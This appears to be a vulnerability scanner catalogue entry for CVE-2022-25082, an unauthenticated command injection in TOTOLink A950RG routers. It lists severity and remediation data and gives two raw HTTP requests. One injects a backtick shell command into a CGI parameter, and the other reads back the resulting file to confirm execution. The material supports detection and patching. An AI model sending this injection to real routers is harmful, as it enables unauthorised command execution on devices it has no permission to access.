| Title | TOTOLink - Unauthenticated Command Injection |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network. |
| Remediation | Apply the latest firmware update provided by the vendor to fix the command injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.89173 |
| CVE ID | CVE-2022-25082 |
| CWE ID | CWE-78 |
| Tags | cve cve2022 totolink router unauth rce iot intrusive vkev vuln |
TOTOLink A950RG V5.9c.4050_B20190424 and V4.1.2cu.5204_B20210112 were discovered to contain a command injection vulnerability in the Main function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.
GET /cgi-bin/downloadFlile.cgi?payload=`ls>../38F7ZBKtJhzOfgCeAp8e9RXLIhx` HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/619.23 (KHTML, like Gecko) Version/15.3.85 Safari/619.23
Connection: close
Accept-Encoding: gzip
GET /38F7ZBKtJhzOfgCeAp8e9RXLIhx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25082.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-25082.pcap
N/AN/A